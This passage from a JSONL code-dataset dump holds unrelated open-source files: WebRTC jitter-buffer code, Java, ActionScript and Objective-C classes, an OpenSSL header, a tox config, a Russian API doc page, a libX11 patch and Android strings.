sequence_number;\n last_timestamp_ = timestamp;\n return relative_delay;\n}\n\nvoid DelayManager::UpdateDelayHistory(int iat_delay_ms,\n uint32_t timestamp,\n int sample_rate_hz) {\n PacketDelay delay;\n delay.iat_delay_ms = iat_delay_ms;\n delay.timestamp = timestamp;\n delay_history_.push_back(delay);\n while (timestamp - delay_history_.front().timestamp >\n static_cast(kMaxHistoryMs * sample_rate_hz / 1000)) {\n delay_history_.pop_front();\n }\n}\n\nint DelayManager::CalculateRelativePacketArrivalDelay() const {\n // This effectively calculates arrival delay of a packet relative to the\n // packet preceding the history window. If the arrival delay ever becomes\n // smaller than zero, it means the reference packet is invalid, and we\n // move the reference.\n int relative_delay = 0;\n for (const PacketDelay& delay : delay_history_) {\n relative_delay += delay.iat_delay_ms;\n relative_delay = std::max(relative_delay, 0);\n }\n return relative_delay;\n}\n\n// Enforces upper and lower limits for |target_level_|. The upper limit is\n// chosen to be minimum of i) 75% of |max_packets_in_buffer_|, to leave some\n// headroom for natural fluctuations around the target, and ii) equivalent of\n// |maximum_delay_ms_| in packets. Note that in practice, if no\n// |maximum_delay_ms_| is specified, this does not have any impact, since the\n// target level is far below the buffer capacity in all reasonable cases.\n// The lower limit is equivalent of |effective_minimum_delay_ms_| in packets.\n// We update |least_required_level_| while the above limits are applied.\n// TODO(hlundin): Move this check to the buffer logistics class.\nvoid DelayManager::LimitTargetLevel() {\n if (packet_len_ms_ > 0 && effective_minimum_delay_ms_ > 0) {\n int minimum_delay_packet_q8 =\n (effective_minimum_delay_ms_ << 8) / packet_len_ms_;\n target_level_ = std::max(target_level_, minimum_delay_packet_q8);\n }\n\n if (maximum_delay_ms_ > 0 && packet_len_ms_ > 0) {\n int maximum_delay_packet_q8 = (maximum_delay_ms_ << 8) / packet_len_ms_;\n target_level_ = std::min(target_level_, maximum_delay_packet_q8);\n }\n\n // Shift to Q8, then 75%.;\n int max_buffer_packets_q8 =\n static_cast((3 * (max_packets_in_buffer_ << 8)) / 4);\n target_level_ = std::min(target_level_, max_buffer_packets_q8);\n\n // Sanity check, at least 1 packet (in Q8).\n target_level_ = std::max(target_level_, 1 << 8);\n}\n\nint DelayManager::CalculateTargetLevel() {\n int limit_probability = histogram_quantile_;\n\n int bucket_index = histogram_->Quantile(limit_probability);\n int target_level = 1;\n if (packet_len_ms_ > 0) {\n target_level += bucket_index * kBucketSizeMs / packet_len_ms_;\n }\n base_target_level_ = target_level;\n\n // Sanity check. |target_level| must be strictly positive.\n target_level = std::max(target_level, 1);\n // Scale to Q8 and assign to member variable.\n target_level_ = target_level << 8;\n return target_level_;\n}\n\nint DelayManager::SetPacketAudioLength(int length_ms) {\n if (length_ms <= 0) {\n RTC_LOG_F(LS_ERROR) << \"length_ms = \" << length_ms;\n return -1;\n }\n\n packet_len_ms_ = length_ms;\n packet_iat_stopwatch_ = tick_timer_->GetNewStopwatch();\n last_pack_cng_or_dtmf_ = 1; // TODO(hlundin): Legacy. Remove?\n return 0;\n}\n\nvoid DelayManager::Reset() {\n packet_len_ms_ = 0; // Packet size unknown.\n histogram_->Reset();\n delay_history_.clear();\n base_target_level_ = 4;\n target_level_ = base_target_level_ << 8;\n packet_iat_stopwatch_ = tick_timer_->GetNewStopwatch();\n last_pack_cng_or_dtmf_ = 1;\n}\n\nvoid DelayManager::ResetPacketIatCount() {\n packet_iat_stopwatch_ = tick_timer_->GetNewStopwatch();\n}\n\nvoid DelayManager::BufferLimits(int* lower_limit, int* higher_limit) const {\n BufferLimits(target_level_, lower_limit, higher_limit);\n}\n\n// Note that |low_limit| and |higher_limit| are not assigned to\n// |minimum_delay_ms_| and |maximum_delay_ms_| defined by the client of this\n// class. They are computed from |target_level| in Q8 and used for decision\n// making.\nvoid DelayManager::BufferLimits(int target_level,\n int* lower_limit,\n int* higher_limit) const {\n if (!lower_limit || !higher_limit) {\n RTC_LOG_F(LS_ERROR) << \"NULL pointers supplied as input\";\n assert(false);\n return;\n }\n\n // |target_level| is in Q8 already.\n *lower_limit = (target_level * 3) / 4;\n\n if (packet_len_ms_ > 0) {\n *lower_limit =\n std::max(*lower_limit, target_level - kDecelerationTargetLevelOffsetMs /\n packet_len_ms_);\n }\n\n int window_20ms = 0x7FFF; // Default large value for legacy bit-exactness.\n if (packet_len_ms_ > 0) {\n window_20ms = (20 << 8) / packet_len_ms_;\n }\n // |higher_limit| is equal to |target_level|, but should at\n // least be 20 ms higher than |lower_limit|.\n *higher_limit = std::max(target_level, *lower_limit + window_20ms);\n}\n\nint DelayManager::TargetLevel() const {\n return target_level_;\n}\n\nvoid DelayManager::LastDecodedWasCngOrDtmf(bool it_was) {\n if (it_was) {\n last_pack_cng_or_dtmf_ = 1;\n } else if (last_pack_cng_or_dtmf_ != 0) {\n last_pack_cng_or_dtmf_ = -1;\n }\n}\n\nvoid DelayManager::RegisterEmptyPacket() {\n ++last_seq_no_;\n}\n\nbool DelayManager::IsValidMinimumDelay(int delay_ms) const {\n return 0 <= delay_ms && delay_ms <= MinimumDelayUpperBound();\n}\n\nbool DelayManager::IsValidBaseMinimumDelay(int delay_ms) const {\n return kMinBaseMinimumDelayMs <= delay_ms &&\n delay_ms <= kMaxBaseMinimumDelayMs;\n}\n\nbool DelayManager::SetMinimumDelay(int delay_ms) {\n if (!IsValidMinimumDelay(delay_ms)) {\n return false;\n }\n\n minimum_delay_ms_ = delay_ms;\n UpdateEffectiveMinimumDelay();\n return true;\n}\n\nbool DelayManager::SetMaximumDelay(int delay_ms) {\n // If |delay_ms| is zero then it unsets the maximum delay and target level is\n // unconstrained by maximum delay.\n if (delay_ms != 0 &&\n (delay_ms < minimum_delay_ms_ || delay_ms < packet_len_ms_)) {\n // Maximum delay shouldn't be less than minimum delay or less than a packet.\n return false;\n }\n\n maximum_delay_ms_ = delay_ms;\n UpdateEffectiveMinimumDelay();\n return true;\n}\n\nbool DelayManager::SetBaseMinimumDelay(int delay_ms) {\n if (!IsValidBaseMinimumDelay(delay_ms)) {\n return false;\n }\n\n base_minimum_delay_ms_ = delay_ms;\n UpdateEffectiveMinimumDelay();\n return true;\n}\n\nint DelayManager::GetBaseMinimumDelay() const {\n return base_minimum_delay_ms_;\n}\n\nint DelayManager::base_target_level() const {\n return base_target_level_;\n}\nint DelayManager::last_pack_cng_or_dtmf() const {\n return last_pack_cng_or_dtmf_;\n}\n\nvoid DelayManager::set_last_pack_cng_or_dtmf(int value) {\n last_pack_cng_or_dtmf_ = value;\n}\n\nvoid DelayManager::UpdateEffectiveMinimumDelay() {\n // Clamp |base_minimum_delay_ms_| into the range which can be effectively\n // used.\n const int base_minimum_delay_ms =\n rtc::SafeClamp(base_minimum_delay_ms_, 0, MinimumDelayUpperBound());\n effective_minimum_delay_ms_ =\n std::max(minimum_delay_ms_, base_minimum_delay_ms);\n}\n\nint DelayManager::MinimumDelayUpperBound() const {\n // Choose the lowest possible bound discarding 0 cases which mean the value\n // is not set and unconstrained.\n int q75 = MaxBufferTimeQ75();\n q75 = q75 > 0 ? q75 : kMaxBaseMinimumDelayMs;\n const int maximum_delay_ms =\n maximum_delay_ms_ > 0 ? maximum_delay_ms_ : kMaxBaseMinimumDelayMs;\n return std::min(maximum_delay_ms, q75);\n}\n\nint DelayManager::MaxBufferTimeQ75() const {\n const int max_buffer_time = max_packets_in_buffer_ * packet_len_ms_;\n return rtc::dchecked_cast(3 * max_buffer_time / 4);\n}\n\n} // namespace webrtc\n"} +{"text": "package net.chrisrichardson.eventstore.examples.management.restaurant.common;\n\nimport org.apache.commons.lang.builder.EqualsBuilder;\nimport org.apache.commons.lang.builder.HashCodeBuilder;\n\npublic class DeliveryTime {\n private int dayOfWeek;\n private int hour;\n private int minute;\n\n public DeliveryTime(int dayOfWeek, int hour, int minute) {\n this.dayOfWeek = dayOfWeek;\n this.hour = hour;\n this.minute = minute;\n }\n\n public int getDayOfWeek() {\n return dayOfWeek;\n }\n\n public int getTimeOfDay() {\n return hour * 100 + minute;\n }\n\n public int getHour() {\n return hour;\n }\n\n public int getMinute() {\n return minute;\n }\n\n @Override\n public boolean equals(Object o) {\n return EqualsBuilder.reflectionEquals(this, o);\n }\n\n @Override\n public int hashCode() {\n return HashCodeBuilder.reflectionHashCode(this);\n }\n}\n"} +{"text": "/*\n * Copyright 2013 Thomas Hoffmann\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage de.j4velin.pedometer;\n\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.os.Build;\n\nimport de.j4velin.pedometer.util.API26Wrapper;\nimport de.j4velin.pedometer.util.Logger;\n\npublic class BootReceiver extends BroadcastReceiver {\n\n @Override\n public void onReceive(final Context context, final Intent intent) {\n if (BuildConfig.DEBUG) Logger.log(\"booted\");\n\n SharedPreferences prefs = context.getSharedPreferences(\"pedometer\", Context.MODE_PRIVATE);\n\n Database db = Database.getInstance(context);\n\n if (!prefs.getBoolean(\"correctShutdown\", false)) {\n if (BuildConfig.DEBUG) Logger.log(\"Incorrect shutdown\");\n // can we at least recover some steps?\n int steps = Math.max(0, db.getCurrentSteps());\n if (BuildConfig.DEBUG) Logger.log(\"Trying to recover \" + steps + \" steps\");\n db.addToLastEntry(steps);\n }\n // last entry might still have a negative step value, so remove that\n // row if that's the case\n db.removeNegativeEntries();\n db.saveCurrentSteps(0);\n db.close();\n prefs.edit().remove(\"correctShutdown\").apply();\n \n if (Build.VERSION.SDK_INT >= 26) {\n API26Wrapper.startForegroundService(context, new Intent(context, SensorListener.class));\n } else {\n context.startService(new Intent(context, SensorListener.class));\n }\n }\n}\n"} +{"text": "/* crypto/stack/stack.h */\n/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)\n * All rights reserved.\n *\n * This package is an SSL implementation written\n * by Eric Young (eay@cryptsoft.com).\n * The implementation was written so as to conform with Netscapes SSL.\n *\n * This library is free for commercial and non-commercial use as long as\n * the following conditions are aheared to. The following conditions\n * apply to all code found in this distribution, be it the RC4, RSA,\n * lhash, DES, etc., code; not just the SSL code. The SSL documentation\n * included with this distribution is covered by the same copyright terms\n * except that the holder is Tim Hudson (tjh@cryptsoft.com).\n *\n * Copyright remains Eric Young's, and as such any Copyright notices in\n * the code are not to be removed.\n * If this package is used in a product, Eric Young should be given attribution\n * as the author of the parts of the library used.\n * This can be in the form of a textual message at program startup or\n * in documentation (online or textual) provided with the package.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n * \"This product includes cryptographic software written by\n * Eric Young (eay@cryptsoft.com)\"\n * The word 'cryptographic' can be left out if the rouines from the library\n * being used are not cryptographic related :-).\n * 4. If you include any Windows specific code (or a derivative thereof) from\n * the apps directory (application code) you must include an acknowledgement:\n * \"This product includes software written by Tim Hudson (tjh@cryptsoft.com)\"\n *\n * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * The licence and distribution terms for any publically available version or\n * derivative of this code cannot be changed. i.e. this code cannot simply be\n * copied and put under another distribution licence\n * [including the GNU Public Licence.]\n */\n\n#ifndef HEADER_STACK_H\n# define HEADER_STACK_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct stack_st {\n int num;\n char **data;\n int sorted;\n int num_alloc;\n int (*comp) (const void *, const void *);\n} _STACK; /* Use STACK_OF(...) instead */\n\n# define M_sk_num(sk) ((sk) ? (sk)->num:-1)\n# define M_sk_value(sk,n) ((sk) ? (sk)->data[n] : NULL)\n\nint sk_num(const _STACK *);\nvoid *sk_value(const _STACK *, int);\n\nvoid *sk_set(_STACK *, int, void *);\n\n_STACK *sk_new(int (*cmp) (const void *, const void *));\n_STACK *sk_new_null(void);\nvoid sk_free(_STACK *);\nvoid sk_pop_free(_STACK *st, void (*func) (void *));\n_STACK *sk_deep_copy(_STACK *, void *(*)(void *), void (*)(void *));\nint sk_insert(_STACK *sk, void *data, int where);\nvoid *sk_delete(_STACK *st, int loc);\nvoid *sk_delete_ptr(_STACK *st, void *p);\nint sk_find(_STACK *st, void *data);\nint sk_find_ex(_STACK *st, void *data);\nint sk_push(_STACK *st, void *data);\nint sk_unshift(_STACK *st, void *data);\nvoid *sk_shift(_STACK *st);\nvoid *sk_pop(_STACK *st);\nvoid sk_zero(_STACK *st);\nint (*sk_set_cmp_func(_STACK *sk, int (*c) (const void *, const void *)))\n (const void *, const void *);\n_STACK *sk_dup(_STACK *st);\nvoid sk_sort(_STACK *st);\nint sk_is_sorted(const _STACK *st);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"} +{"text": "[tox]\nenvlist =\n coverage-clean,\n py27,\n py35,\n py36,\n py37,\n py38,\n coverage-report,\n mypy\n\n[testenv]\ncommands =\n coverage run --source=magic ./test/test.py\n\nsetenv =\n COVERAGE_FILE=.coverage.{envname}\n LC_ALL=en_US.UTF-8 \ndeps =\n .[test]\n zope.testrunner \n coverage\n\n[testenv:coverage-clean]\ndeps = coverage\nsetenv =\n COVERAGE_FILE=.coverage\nskip_install = true\ncommands = coverage erase\n\n[testenv:coverage-report]\ndeps = coverage\nsetenv =\n COVERAGE_FILE=.coverage\nskip_install = true\ncommands =\n coverage combine\n coverage report\n coverage html\n coverage\n\n[testenv:mypy]\ndeps = mypy\nskip_install = true\ncommands =\n mypy magic.pyi\n"} +{"text": "/*\n * The MIT License\n * Copyright © 2014-2019 Ilkka Seppälä\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\npackage com.iluwatar.iterator.list;\n\n/**\n * Item.\n */\npublic class Item {\n\n private ItemType type;\n private final String name;\n\n public Item(ItemType type, String name) {\n this.setType(type);\n this.name = name;\n }\n\n @Override\n public String toString() {\n return name;\n }\n\n public ItemType getType() {\n return type;\n }\n\n public final void setType(ItemType type) {\n this.type = type;\n }\n}\n"} +{"text": "package com.codeazur.as3swf.data.filters\n{\n\timport com.codeazur.as3swf.SWFData;\n\timport com.codeazur.as3swf.utils.ColorUtils;\n\timport com.codeazur.utils.StringUtils;\n\n\timport flash.filters.BitmapFilter;\n\timport flash.filters.BitmapFilterType;\n\timport flash.filters.GradientGlowFilter;\n\t\n\tpublic class FilterGradientGlow extends Filter implements IFilter\n\t{\n\t\tpublic var numColors:uint;\n\t\tpublic var blurX:Number;\n\t\tpublic var blurY:Number;\n\t\tpublic var angle:Number;\n\t\tpublic var distance:Number;\n\t\tpublic var strength:Number;\n\t\tpublic var innerShadow:Boolean;\n\t\tpublic var knockout:Boolean;\n\t\tpublic var compositeSource:Boolean;\n\t\tpublic var onTop:Boolean;\n\t\tpublic var passes:uint;\n\t\t\n\t\tprotected var _gradientColors:Vector.;\n\t\tprotected var _gradientRatios:Vector.;\n\t\t\n\t\tpublic function FilterGradientGlow(id:uint) {\n\t\t\tsuper(id);\n\t\t\t_gradientColors = new Vector.();\n\t\t\t_gradientRatios = new Vector.();\n\t\t}\n\t\t\n\t\tpublic function get gradientColors():Vector. { return _gradientColors; }\n\t\tpublic function get gradientRatios():Vector. { return _gradientRatios; }\n\t\t\n\t\toverride public function get filter():BitmapFilter {\n\t\t\tvar gradientGlowColors:Array = [];\n\t\t\tvar gradientGlowAlphas:Array = [];\n\t\t\tvar gradientGlowRatios:Array = [];\n\t\t\tfor (var i:int = 0; i < numColors; i++) {\n\t\t\t\tgradientGlowColors.push(ColorUtils.rgb(gradientColors[i]));\n\t\t\t\tgradientGlowAlphas.push(ColorUtils.alpha(gradientColors[i]));\n\t\t\t\tgradientGlowRatios.push(gradientRatios[i]);\n\t\t\t}\n\t\t\tvar filterType:String;\n\t\t\tif(onTop) {\n\t\t\t\tfilterType = BitmapFilterType.FULL;\n\t\t\t} else {\n\t\t\t\tfilterType = (innerShadow) ? BitmapFilterType.INNER : BitmapFilterType.OUTER;\n\t\t\t}\n\t\t\treturn new GradientGlowFilter(\n\t\t\t\tdistance,\n\t\t\t\tangle * 180 / Math.PI,\n\t\t\t\tgradientGlowColors,\n\t\t\t\tgradientGlowAlphas,\n\t\t\t\tgradientGlowRatios,\n\t\t\t\tblurX,\n\t\t\t\tblurY,\n\t\t\t\tstrength,\n\t\t\t\tpasses,\n\t\t\t\tfilterType,\n\t\t\t\tknockout\n\t\t\t);\n\t\t}\n\t\t\n\t\toverride public function parse(data:SWFData):void {\n\t\t\tnumColors = data.readUI8();\n\t\t\tvar i:uint;\n\t\t\tfor (i = 0; i < numColors; i++) {\n\t\t\t\t_gradientColors.push(data.readRGBA());\n\t\t\t}\n\t\t\tfor (i = 0; i < numColors; i++) {\n\t\t\t\t_gradientRatios.push(data.readUI8());\n\t\t\t}\n\t\t\tblurX = data.readFIXED();\n\t\t\tblurY = data.readFIXED();\n\t\t\tangle = data.readFIXED();\n\t\t\tdistance = data.readFIXED();\n\t\t\tstrength = data.readFIXED8();\n\t\t\tvar flags:uint = data.readUI8();\n\t\t\tinnerShadow = ((flags & 0x80) != 0);\n\t\t\tknockout = ((flags & 0x40) != 0);\n\t\t\tcompositeSource = ((flags & 0x20) != 0);\n\t\t\tonTop = ((flags & 0x10) != 0);\n\t\t\tpasses = flags & 0x0f;\n\t\t}\n\t\t\n\t\toverride public function publish(data:SWFData):void {\n\t\t\tdata.writeUI8(numColors);\n\t\t\tvar i:uint;\n\t\t\tfor (i = 0; i < numColors; i++) {\n\t\t\t\tdata.writeRGBA(gradientColors[i]);\n\t\t\t}\n\t\t\tfor (i = 0; i < numColors; i++) {\n\t\t\t\tdata.writeUI8(gradientRatios[i]);\n\t\t\t}\n\t\t\tdata.writeFIXED(blurX);\n\t\t\tdata.writeFIXED(blurY);\n\t\t\tdata.writeFIXED(angle);\n\t\t\tdata.writeFIXED(distance);\n\t\t\tdata.writeFIXED8(strength);\n\t\t\tvar flags:uint = (passes & 0x0f);\n\t\t\tif(innerShadow) { flags |= 0x80; }\n\t\t\tif(knockout) { flags |= 0x40; }\n\t\t\tif(compositeSource) { flags |= 0x20; }\n\t\t\tif(onTop) { flags |= 0x10; }\n\t\t\tdata.writeUI8(flags);\n\t\t}\n\t\t\n\t\toverride public function clone():IFilter {\n\t\t\tvar filter:FilterGradientGlow = new FilterGradientGlow(id);\n\t\t\tfilter.numColors = numColors;\n\t\t\tvar i:uint;\n\t\t\tfor (i = 0; i < numColors; i++) {\n\t\t\t\tfilter.gradientColors.push(gradientColors[i]);\n\t\t\t}\n\t\t\tfor (i = 0; i < numColors; i++) {\n\t\t\t\tfilter.gradientRatios.push(gradientRatios[i]);\n\t\t\t}\n\t\t\tfilter.blurX = blurX;\n\t\t\tfilter.blurY = blurY;\n\t\t\tfilter.angle = angle;\n\t\t\tfilter.distance = distance;\n\t\t\tfilter.strength = strength;\n\t\t\tfilter.passes = passes;\n\t\t\tfilter.innerShadow = innerShadow;\n\t\t\tfilter.knockout = knockout;\n\t\t\tfilter.compositeSource = compositeSource;\n\t\t\tfilter.onTop = onTop;\n\t\t\treturn filter;\n\t\t}\n\t\t\n\t\toverride public function toString(indent:uint = 0):String {\n\t\t\tvar i:uint;\n\t\t\tvar str:String = \"[\" + filterName + \"] \" +\n\t\t\t\t\"BlurX: \" + blurX + \", \" +\n\t\t\t\t\"BlurY: \" + blurY + \", \" +\n\t\t\t\t\"Angle: \" + angle + \", \" +\n\t\t\t\t\"Distance: \" + distance + \", \" +\n\t\t\t\t\"Strength: \" + strength + \", \" +\n\t\t\t\t\"Passes: \" + passes;\n\t\t\tvar flags:Array = [];\n\t\t\tif(innerShadow) { flags.push(\"InnerShadow\"); }\n\t\t\tif(knockout) { flags.push(\"Knockout\"); }\n\t\t\tif(compositeSource) { flags.push(\"CompositeSource\"); }\n\t\t\tif(onTop) { flags.push(\"OnTop\"); }\n\t\t\tif(flags.length > 0) {\n\t\t\t\tstr += \", Flags: \" + flags.join(\", \");\n\t\t\t}\n\t\t\tif(gradientColors.length > 0) {\n\t\t\t\tstr += \"\\n\" + StringUtils.repeat(indent + 2) + \"GradientColors:\";\n\t\t\t\tfor(i = 0; i < gradientColors.length; i++) {\n\t\t\t\t\tstr += ((i > 0) ? \", \" : \" \") + ColorUtils.rgbToString(gradientColors[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(gradientRatios.length > 0) {\n\t\t\t\tstr += \"\\n\" + StringUtils.repeat(indent + 2) + \"GradientRatios:\";\n\t\t\t\tfor(i = 0; i < gradientRatios.length; i++) {\n\t\t\t\t\tstr += ((i > 0) ? \", \" : \" \") + gradientRatios[i];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn str;\n\t\t}\n\t\t\n\t\tprotected function get filterName():String { return \"GradientGlowFilter\"; }\n\t}\n}\n"} +{"text": "\n\n\n API документация\n \n \n \n\n\n \n \n \n\n\n
    \n
    \n
    \n \n\n \n\n
    \n\n \n\n\n\n\n

    Параметры

    \n \n \n \n \n \n \n \n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n \n \n \n\n \n\n \n\n\n \n
    Имя параметраОписание
    \n location_id
    \n \n необязательно\n \n \n
    \n \n

    Set the current location context for the request

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be a Integer

      \n
    • \n
    \n\n
    \n organization_id
    \n \n необязательно\n \n \n
    \n \n

    Set the current organization context for the request

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be a Integer

      \n
    • \n
    \n\n
    \n id
    \n \n обязательно\n \n \n
    \n \n

    Validations:

    \n
      \n
    • \n

      Must be an identifier, string from 1 to 128 characters containing only alphanumeric characters, space, underscore(_), hypen(-) with no leading or trailing space.

      \n
    • \n
    \n\n
    \n http_proxy
    \n \n обязательно\n \n \n
    \n \n

    Validations:

    \n
      \n
    • \n

      Must be a Hash

      \n
    • \n
    \n\n
    \n http_proxy[name]
    \n \n необязательно\n \n \n
    \n \n

    The HTTP Proxy name

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be a String

      \n
    • \n
    \n\n
    \n http_proxy[url]
    \n \n необязательно\n \n \n
    \n \n

    URL of the HTTP Proxy

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be a String

      \n
    • \n
    \n\n
    \n http_proxy[username]
    \n \n необязательно\n , nil разрешен\n \n
    \n \n

    Username used to authenticate with the HTTP Proxy

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be a String

      \n
    • \n
    \n\n
    \n http_proxy[password]
    \n \n необязательно\n , nil разрешен\n \n
    \n \n

    Password used to authenticate with the HTTP Proxy

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be a String

      \n
    • \n
    \n\n
    \n http_proxy[location_ids]
    \n \n необязательно\n , nil разрешен\n \n
    \n \n

    ЗАМЕСТИТЬ местоположения с заданным кодом

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be an array of any type

      \n
    • \n
    \n\n
    \n http_proxy[organization_ids]
    \n \n необязательно\n , nil разрешен\n \n
    \n \n

    ЗАМЕСТИТЬ организации с заданным кодом

    \n\n

    Validations:

    \n
      \n
    • \n

      Must be an array of any type

      \n
    • \n
    \n\n
    \n\n\n\n\n
    \n\n \n\n \n
    \n
    \n
    \n
    \n
    \n \n\n\n\n\n\n"} +{"text": "module DelayedJobAdmin\n VERSION = \"1.0.3\"\nend\n"} +{"text": "//\n// MTICoreImageRendering.h\n// Pods\n//\n// Created by Yu Ao on 04/04/2018.\n//\n\n#import \n#import \n#import \n#import \n\nNS_ASSUME_NONNULL_BEGIN\n\n__attribute__((objc_subclassing_restricted))\n@interface MTICIImageRenderingOptions : NSObject \n\n@property (nullable, nonatomic, readonly) CGColorSpaceRef colorSpace;\n\n@property (getter=isFlipped, readonly, nonatomic) BOOL flipped;\n\n@property (nonatomic, readonly) MTLPixelFormat destinationPixelFormat;\n\n@property (nonatomic, readonly) CIRenderDestinationAlphaMode alphaMode NS_AVAILABLE(10_13, 11_0);\n\n- (instancetype)init NS_UNAVAILABLE;\n\n+ (instancetype)new NS_UNAVAILABLE;\n\n- (instancetype)initWithDestinationPixelFormat:(MTLPixelFormat)pixelFormat colorSpace:(nullable CGColorSpaceRef)colorSpace flipped:(BOOL)flipped NS_DESIGNATED_INITIALIZER;\n\n- (instancetype)initWithDestinationPixelFormat:(MTLPixelFormat)pixelFormat alphaMode:(CIRenderDestinationAlphaMode)alphaMode colorSpace:(nullable CGColorSpaceRef)colorSpace flipped:(BOOL)flipped NS_DESIGNATED_INITIALIZER NS_AVAILABLE(10_13, 11_0);\n\n@property (nonatomic, strong, class, readonly) MTICIImageRenderingOptions *defaultOptions;\n\n@end\n\n__attribute__((objc_subclassing_restricted))\n@interface MTICIImageCreationOptions: NSObject \n\n@property (nonatomic, nullable, readonly) CGColorSpaceRef colorSpace;\n\n@property (getter=isFlipped, readonly, nonatomic) BOOL flipped;\n\n- (instancetype)init NS_UNAVAILABLE;\n\n+ (instancetype)new NS_UNAVAILABLE;\n\n- (instancetype)initWithColorSpace:(nullable CGColorSpaceRef)colorSpace flipped:(BOOL)flipped NS_DESIGNATED_INITIALIZER;\n\n@property (nonatomic, strong, class, readonly) MTICIImageCreationOptions *defaultOptions;\n\n@end\n\nNS_ASSUME_NONNULL_END\n"} +{"text": "{% if theme.cnzz_siteid %}\r\n\r\n
    \r\n \r\n
    \r\n\r\n{% endif %}\r\n"} +{"text": "https://github.com/mirror/libX11/commit/0327c427d62f671eced067c6d9b69f4e216a8cac\nupstream in > 1.6.8\n\nFrom: Adam Jackson \nDate: Mon, 17 Jun 2019 13:36:08 -0400\nSubject: [PATCH] makekeys: Detach ourselves from X headers entirely\n\nSubsequent to a121b7b0c210efe10bf93453b29050282324c906 we are no longer\nbuilding makekeys with enough -I/foo/bar to find the X11 headers, so if\nthey're not in a system include path, things fail. Since this utility is\nonly needed at build time, there's no real reason to demand the X\nheaders be installed for both the build and target machines if cross-\ncompiling, we can just assume a vaguely ANSI environment instead.\n\nTested-by: Niclas Zeising \nReviewed-by: Keith Packard \nReviewed-by: Matt Turner \n---\n src/util/makekeys.c | 4 +++-\n 1 file changed, 3 insertions(+), 1 deletion(-)\n\ndiff --git a/src/util/makekeys.c b/src/util/makekeys.c\nindex bcb5b7d5..07563315 100644\n--- a/src/util/makekeys.c\n+++ b/src/util/makekeys.c\n@@ -35,8 +35,10 @@ from The Open Group.\n #include \n #include \n #include \n+#include \n+#include \n \n-#include \"../Xresinternal.h\"\n+typedef uint32_t Signature;\n \n #define KTNUM 4000\n \n"} +{"text": "\n\n \"Um aplicativo tentou usar uma versão errada do Google Play Services.\"\n \"Um aplicativo requer a ativação do Google Play Services.\"\n \"Um aplicativo requer a instalação do Google Play Services.\"\n \"Um aplicativo requer a atualização do Google Play Services.\"\n \"Ocorreu um erro no Google Play Services\"\n \"Solicitado por %1$s\"\n\n"} +{"text": "VERSION = '0.17.2'\n"} +{"text": "// -*- C++ -*-\n//===----------------------------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 